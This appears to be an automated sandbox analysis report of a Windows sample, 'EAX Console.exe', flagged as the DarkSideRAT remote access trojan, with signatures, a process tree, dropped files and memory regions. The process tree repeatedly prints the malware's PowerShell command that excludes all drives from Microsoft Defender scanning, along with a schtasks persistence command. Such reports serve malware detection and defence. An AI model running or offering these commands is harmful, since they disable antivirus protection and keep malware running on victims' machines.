Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/08/2026, 02:15

General

  • Target
    EAX Console.exe
  • Size 102KB
  • Sample260809-cpp1dsycpe
  • SHA256 7b5099a2989a1e7d52ac7a1c653b5dfb22f2c33ca01a00d20cd48276fc992f76
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 4 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 3 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks system information in the registry 2 TTPs 6 IoCs

    System information is often read in order to detect sandboxing environments.

  • Suspicious use of SetThreadContext 3 IoCs
  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\EAX Console.exe
    "C:\Users\Admin\AppData\Local\Temp\EAX Console.exe"
    1⤵
    • Adds Run key to start application
    • Checks system information in the registry
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3844
    • C:\Users\Admin\AppData\Local\Temp\EAX Console.exe
      "C:\Users\Admin\AppData\Local\Temp\EAX Console.exe"
      2⤵
        PID:6068
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        2⤵
        • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        • Hide Artifacts: Ignore Process Interrupts
        • Suspicious use of WriteProcessMemory
        PID:5672
        • C:\Windows\system32\chcp.com
          chcp 65001
          3⤵
            PID:1180
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5040
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks.exe /create /f /sc minute /mo 1 /tn "EAX Console" /tr "C:\Users\Admin\AppData\Roaming\EAX Console.exe"
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5980
      • C:\Users\Admin\AppData\Roaming\EAX Console.exe
        "C:\Users\Admin\AppData\Roaming\EAX Console.exe"
        1⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Checks system information in the registry
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:5744
        • C:\Users\Admin\AppData\Roaming\EAX Console.exe
          "C:\Users\Admin\AppData\Roaming\EAX Console.exe"
          2⤵
          • Executes dropped EXE
          PID:3836
        • C:\Windows\system32\cmd.exe
          cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
          2⤵
          • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
          • Hide Artifacts: Ignore Process Interrupts
          • Suspicious use of WriteProcessMemory
          PID:1244
          • C:\Windows\system32\chcp.com
            chcp 65001
            3⤵
              PID:4216
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:5228
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /f /sc minute /mo 1 /tn "EAX Console" /tr "C:\Users\Admin\AppData\Roaming\EAX Console.exe"
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:444
        • C:\Users\Admin\AppData\Roaming\EAX Console.exe
          "C:\Users\Admin\AppData\Roaming\EAX Console.exe"
          1⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Checks system information in the registry
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2776
          • C:\Users\Admin\AppData\Roaming\EAX Console.exe
            "C:\Users\Admin\AppData\Roaming\EAX Console.exe"
            2⤵
            • Executes dropped EXE
            PID:5720
          • C:\Windows\system32\cmd.exe
            cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
            2⤵
            • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
            • Hide Artifacts: Ignore Process Interrupts
            • Suspicious use of WriteProcessMemory
            PID:5992
            • C:\Windows\system32\chcp.com
              chcp 65001
              3⤵
                PID:3020
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3832
            • C:\Windows\system32\schtasks.exe
              schtasks.exe /create /f /sc minute /mo 1 /tn "EAX Console" /tr "C:\Users\Admin\AppData\Roaming\EAX Console.exe"
              2⤵
              • Scheduled Task/Job: Scheduled Task
              PID:2364

          Network

                MITRE ATT&CK Enterprise v16

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 3KB
                • SHA256 0e6517ec83b201bbab64b202a1056eb9777967f3dea5d947fc10a28b4eb62644
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 4ffe11db5be71d78ddeaf4d1af3fc1a0fd412ed15fb8c5f5a92c7ef04395414a
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 be1ab4355ebcaabdf9fbf43205d20879d156aec252e7622b52398717f4a8ceb0
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_yqmpivtg.xdo.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yqmpivtg.xdo.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                ~msnDEV-4a3a28740da4f3eb.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-4a3a28740da4f3eb.tmp
                • Size 4B
                • SHA256 f7904d6f4a4e19d37bc8824f8eabd3add0d614112a412b137c29b61222d6a4d4
                • MD5 SHA1 SHA512

                ~msnDEV-4a3a28740da4f3eb.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-4a3a28740da4f3eb.tmp
                • Size 4B
                • SHA256 fddaad52fcd4fef1725d6875f5cc94439963f1329b220593e08b53afcbb70653
                • MD5 SHA1 SHA512

                EAX Console.exe

                • Path C:\Users\Admin\AppData\Roaming\EAX Console.exe
                • Size 102KB
                • SHA256 7b5099a2989a1e7d52ac7a1c653b5dfb22f2c33ca01a00d20cd48276fc992f76
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/2776-98-0x0000000140000000-0x0000000140030000-memory.dmp

                memory/2776-87-0x0000000285D10000-0x0000000285D6A000-memory.dmp

                memory/3832-86-0x0000020BB09D0000-0x0000020BB0BEC000-memory.dmp

                memory/3836-40-0x0000000140000000-0x0000000140015000-memory.dmp

                memory/3836-43-0x0000000140000000-0x0000000140015000-memory.dmp

                memory/3844-24-0x0000000285D10000-0x0000000285D6A000-memory.dmp

                memory/3844-42-0x0000000140000000-0x0000000140030000-memory.dmp

                memory/3844-0-0x0000000140000000-0x0000000140030000-memory.dmp

                memory/5040-6-0x000002371FE40000-0x000002371FE50000-memory.dmp

                memory/5040-17-0x000002371FE40000-0x000002371FE50000-memory.dmp

                memory/5040-8-0x000002371FE80000-0x000002371FEA2000-memory.dmp

                memory/5040-7-0x000002371FE40000-0x000002371FE50000-memory.dmp

                memory/5720-75-0x0000000140000000-0x0000000140015000-memory.dmp

                memory/5720-74-0x0000000140000000-0x0000000140015000-memory.dmp

                memory/5744-66-0x0000000140000000-0x0000000140030000-memory.dmp

                memory/5744-55-0x0000000285D10000-0x0000000285D6A000-memory.dmp

                memory/5744-35-0x0000000140000000-0x0000000140030000-memory.dmp

                memory/6068-1-0x0000000140000000-0x0000000140015000-memory.dmp

                memory/6068-3-0x0000000140000000-0x0000000140015000-memory.dmp

                memory/6068-5-0x0000000140000000-0x0000000140015000-memory.dmp

                memory/6068-4-0x0000000140000000-0x0000000140015000-memory.dmp